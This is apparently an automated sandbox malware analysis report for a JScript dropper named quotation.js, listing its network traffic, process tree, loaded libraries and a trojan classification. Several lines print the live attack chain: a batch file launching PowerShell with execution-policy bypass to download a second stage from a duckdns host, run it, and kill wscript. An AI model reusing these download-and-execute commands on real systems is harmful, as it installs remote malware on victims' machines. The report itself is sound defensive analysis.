Windows Analysis Report
quotation.js

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: rentry.co

Uses dynamic DNS services

Source: unknown

DNS query: name: timmy02.duckdns.org

Source: Joe Sandbox View

IP Address: 104.26.3.16 104.26.3.16

Source: Joe Sandbox View	ASN Name: ALGTEL-ASDZ ALGTEL-ASDZ
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /6yg2yfkf/raw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /uploads/186024/Quotation.vbs.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: timmy02.duckdns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uploads/186024/Quotation.vbs.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: timmy02.duckdns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /6yg2yfkf/raw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /uploads/186024/Quotation.vbs.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: timmy02.duckdns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uploads/186024/Quotation.vbs.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: timmy02.duckdns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: rentry.co
Source: global traffic	DNS traffic detected: DNS query: timmy02.duckdns.org

Source: powershell.exe, 0000000A.00000002.1767404550.00000234AB056000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9712000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.1767404550.00000234A98CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.1767404550.00000234A96A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.1767404550.00000234AA9D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://timmy02.duckdns.org
Source: powershell.exe, 0000000A.00000002.1767404550.00000234AAC98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1767404550.00000234AAC66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://timmy02.duckdns.org/uploads/186024/Quo
Source: powershell.exe, 0000000A.00000002.1767404550.00000234A96A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766480583.00000234A7CE7000.00000004.00000020.00020000.00000000.sdmp, quotation.js, tempScript.bat.1.dr	String found in binary or memory: http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php
Source: powershell.exe, 0000000A.00000002.1766329922.00000234A7BD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766381913.00000234A7BF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766329922.00000234A7BD4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1766480583.00000234A7CE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.phpCommonProgramFiles=C:
Source: wscript.exe, 00000001.00000002.1794047481.00000274B6A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.phpP
Source: powershell.exe, 0000000A.00000002.1766329922.00000234A7BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://timmy02.duckdns.org/uploads/186024/quotation.vbs.php
Source: powershell.exe, 0000000A.00000002.1767404550.00000234A98CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.1767404550.00000234A96A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.1767404550.00000234A98CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.1767404550.00000234AA2CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000A.00000002.1767404550.00000234AB056000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9712000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1781643384.00000234B9855000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/
Source: wscript.exe, wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1792296152.00000274B4088000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1792698347.00000274B4365000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1793961218.00000274B6943000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/6yg2yfkf/raw
Source: wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/6yg2yfkf/raw9
Source: wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co/6yg2yfkf/rawD6
Source: wscript.exe, 00000001.00000002.1792296152.00000274B3FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rentry.co:443/6yg2yfkf/raw

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown

HTTPS traffic detected: 104.26.3.16:443 -> 192.168.2.7:49702 version: TLS 1.2

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WinHttpRequest Component version 5.1 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2087c2f4-2cef-4953-a8ab-66779b670495}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "	Jump to behavior

Source: quotation.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.troj.expl.evad.winJS@11/5@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1432:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user~1\AppData\Local\Temp\tempScript.bat

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wscript.exe")

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\quotation.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\Update.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wscript.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\Update.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wscript.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Suspicious powershell command line found

Source: quotation.js

Static file information: File size 3316916 > 1048576

Source:	Binary string: \mscorlib.pdb[ source: powershell.exe, 0000000A.00000002.1785333273.00000234C1C51000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbviceG source: powershell.exe, 0000000A.00000002.1784746433.00000234C1B8A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdbon.resources] source: powershell.exe, 0000000A.00000002.1785472340.00000234C1D60000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_00007FFAAC1500AD pushad ; iretd

10_2_00007FFAAC1500C1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
